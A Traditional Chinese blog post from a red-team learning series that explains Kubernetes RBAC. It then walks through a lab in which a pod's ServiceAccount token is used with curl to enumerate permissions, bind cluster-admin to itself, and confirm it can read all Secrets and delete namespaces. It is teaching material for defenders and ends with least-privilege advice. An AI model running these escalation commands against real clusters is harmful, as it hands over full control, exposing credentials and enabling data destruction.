iT邦幫忙

2026 iThome 鐵人賽

DAY 21
0

昨天在 Day 20 的最後一步,我們嘗試使用 Pod 裡的 ServiceAccount Token,列出 lab20 Namespace 中的 Secret,卻收到了 HTTP 403,表示這次請求被拒絕。

昨天已經確認,API Server 能夠辨識這個 Token 所代表的身分。但「知道你是誰」,不代表「允許你讀取這些資料」。這個 ServiceAccount 能對哪些資源執行哪些操作,還需要經過授權判斷。

今天的主角——RBAC,就是 K8S 管理存取權限的機制之一。我們將透過實驗,觀察 RBAC 如何限制操作範圍,以及錯誤的授權設定如何讓原本受限的 ServiceAccount 取得更高權限,進一步危及整個叢集。

什麼是 RBAC?

RBAC(Role-Based Access Control,角色型存取控制)是一種透過角色分配權限的存取控制機制,用來決定某個身分可以對哪些資源執行哪些操作。我們可以先從三個面向理解:

  1. Resource(資源):被操作的對象,例如 Pod、Secret 或 Deployment。資源本身不等於權限;「可以讀取 Secret」才是一項權限。
  2. Role(角色):定義一組權限,說明可以對哪些資源執行哪些操作,例如讀取 Secret、建立 Pod 或修改 Deployment。
  3. Subject(授權對象):取得這些權限的身分。透過角色綁定,可以將角色所定義的權限授予指定對象。

在 K8S 中,RBAC 用來控制不同身分對 K8S API 資源的操作權限。其授權對象包含三種類型:User(使用者)、Group(群組)及 ServiceAccount(服務帳號)。

K8S 使用 Role 與 ClusterRole 定義權限,再透過 RoleBinding 與 ClusterRoleBinding 將權限授予指定對象。

  • RoleBinding(角色綁定):在指定的 Namespace 內授予權限。它可以引用同一個 Namespace 中的 Role,也可以引用 ClusterRole,但授權範圍仍限於該 RoleBinding 所在的 Namespace。
  • ClusterRoleBinding(叢集角色綁定):在整個叢集範圍授予權限,而且只能引用 ClusterRole。實際允許哪些操作,仍由該 ClusterRole 的規則決定,不代表一定擁有管理員權限。

了解 RBAC 在 K8S 中的作用後,接著透過 Day21 的 Lab 觀察它的授權機制。

1. 先確認現在的邊界在哪?

先設定 ServiceAccount 憑證目錄與 API Server 位址,再讀取 Token 組成授權標頭,測試目前身分是否能列出 kube-system 中的 Secret:

SA=/var/run/secrets/kubernetes.io/serviceaccount; API=https://kubernetes.default.svc
AUTH="Authorization: Bearer $(cat $SA/token)"
curl -s -o /dev/null -w "kube-system secrets BEFORE -> HTTP %{http_code}\n" \
  --cacert $SA/ca.crt -H "$AUTH" $API/api/v1/namespaces/kube-system/secrets

lab-02

2. 列舉權限:目前身分可以執行哪些操作?

接著使用 SelfSubjectRulesReview,以 lab22 為查詢範圍,列出目前身分的權限規則:

curl -s --cacert $SA/ca.crt -H "$AUTH" -H 'Content-Type: application/json' -X POST \
  $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"lab22"}}'

lab-03

完整的 JSON 內容如下:

{
  "kind": "SelfSubjectRulesReview",
  "apiVersion": "authorization.k8s.io/v1",
  "metadata": {
    "creationTimestamp": null
  },
  "spec": {},
  "status": {
    "resourceRules": [
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authorization.k8s.io"
        ],
        "resources": [
          "selfsubjectaccessreviews",
          "selfsubjectrulesreviews"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authentication.k8s.io"
        ],
        "resources": [
          "selfsubjectreviews"
        ]
      },
      {
        "verbs": [
          "create",
          "get",
          "list"
        ],
        "apiGroups": [
          "rbac.authorization.k8s.io"
        ],
        "resources": [
          "clusterrolebindings",
          "rolebindings"
        ]
      },
      {
        "verbs": [
          "bind",
          "escalate",
          "get",
          "list"
        ],
        "apiGroups": [
          "rbac.authorization.k8s.io"
        ],
        "resources": [
          "clusterroles"
        ]
      }
    ],
    "nonResourceRules": [
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/.well-known/openid-configuration",
          "/.well-known/openid-configuration/",
          "/openid/v1/jwks",
          "/openid/v1/jwks/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/healthz",
          "/livez",
          "/readyz",
          "/version",
          "/version/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/api",
          "/api/*",
          "/apis",
          "/apis/*",
          "/healthz",
          "/livez",
          "/openapi",
          "/openapi/*",
          "/readyz",
          "/version",
          "/version/"
        ]
      }
    ],
    "incomplete": false
  }
}

SelfSubjectRulesReview 在某些情況下,可能無法列出身分實際擁有的全部權限。本次回應的 incomplete 為 false,表示伺服器未將這次結果標記為不完整;後續再針對具體操作確認授權結果。
SelfSubjectRulesReview

JSON 內容有點多,整理一下重點:

1. 可以建立、查看、列出 clusterrolebindings、rolebindings

"verbs": ["create", "get", "list"],
"resources": ["clusterrolebindings", "rolebindings"]

這份結果顯示,目前身分可以建立、查看及列出叢集層級的 ClusterRoleBinding,以及 lab22 中的 RoleBinding。

2. 可以授予高權限角色

"verbs": ["bind", "escalate", "get", "list"],
"resources": ["clusterroles"]

綜合這兩組權限,目前身分可以建立 ClusterRoleBinding,並具有未限制角色名稱的 bind 權限。因此,我們可以嘗試建立一個指向既有 cluster-admin ClusterRole 的綁定,將其權限授予目前使用的 ServiceAccount。

3. 把自己綁上 cluster-admin

確認具備上述授權條件後,我們用以下指令將 cluster-admin 綁在自己身上:

curl -s -o /dev/null -w "create CRB -> HTTP %{http_code}\n" \
  --cacert $SA/ca.crt -H "$AUTH" -H 'Content-Type: application/json' -X POST \
  $API/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  -d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding",
       "metadata":{"name":"lab22-pwn"},
       "roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},
       "subjects":[{"kind":"ServiceAccount","name":"deployer","namespace":"lab22"}]}'

lab-04

再次執行第一步的指令,列出 kube-system Secret 的請求已由 HTTP 403 變為 HTTP 200,表示這項操作成功:
lab-05

接著利用以下指令來看能否列出所有 Namespace 的 Secret?

curl -sS --cacert "$SA/ca.crt" \
  -H "$AUTH" \
  -H 'Content-Type: application/json' \
  -X POST \
  "$API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
  -d '{
    "apiVersion": "authorization.k8s.io/v1",
    "kind": "SelfSubjectAccessReview",
    "spec": {
      "resourceAttributes": {
        "group": "",
        "resource": "secrets",
        "verb": "list"
      }
    }
  }'

lab-06
lab-07

回應中的 allowed: true 表示,目前身分已獲准跨所有 Namespace 列出 Secret。

再利用以下指令來看能否刪除 Namespace?

curl -sS --cacert "$SA/ca.crt" \
  -H "$AUTH" \
  -H 'Content-Type: application/json' \
  -X POST \
  "$API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
  -d '{
    "apiVersion": "authorization.k8s.io/v1",
    "kind": "SelfSubjectAccessReview",
    "spec": {
      "resourceAttributes": {
        "group": "",
        "resource": "namespaces",
        "verb": "delete"
      }
    }
  }'

lab-08
lab-09

目前身分已通過刪除 Namespace 的授權檢查。reason 也指出,這項授權來自 lab22-pwn ClusterRoleBinding 所引用的 cluster-admin。這證明同一個 ServiceAccount 已透過新增綁定取得叢集管理員角色的授權。

即使沒有上述提權所需的權限組合,過寬的 get、list 授權仍可能造成風險。例如,讀取 RBAC 設定可以協助攻擊者了解角色與授權關係;若可讀取的資源是 Secret,則可能直接造成機敏資料外洩。

正式、開發與測試環境都應遵循最小權限原則,避免授予超出實際需求的權限。

大家可能已經注意到,這幾天的實驗經常以 Secret 作為機敏資料的例子。Secret 究竟是什麼?明天就來揭曉。

感謝今天大家的收看,我們明天見!


上一篇
Day 20|進到 Pod 之後,我第一個會找 ServiceAccount Token
系列文
我以前被社會打穿,現在輪到我研究怎麼把系統打穿:資安工程師的 30 天紅隊轉職實驗 共 21 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言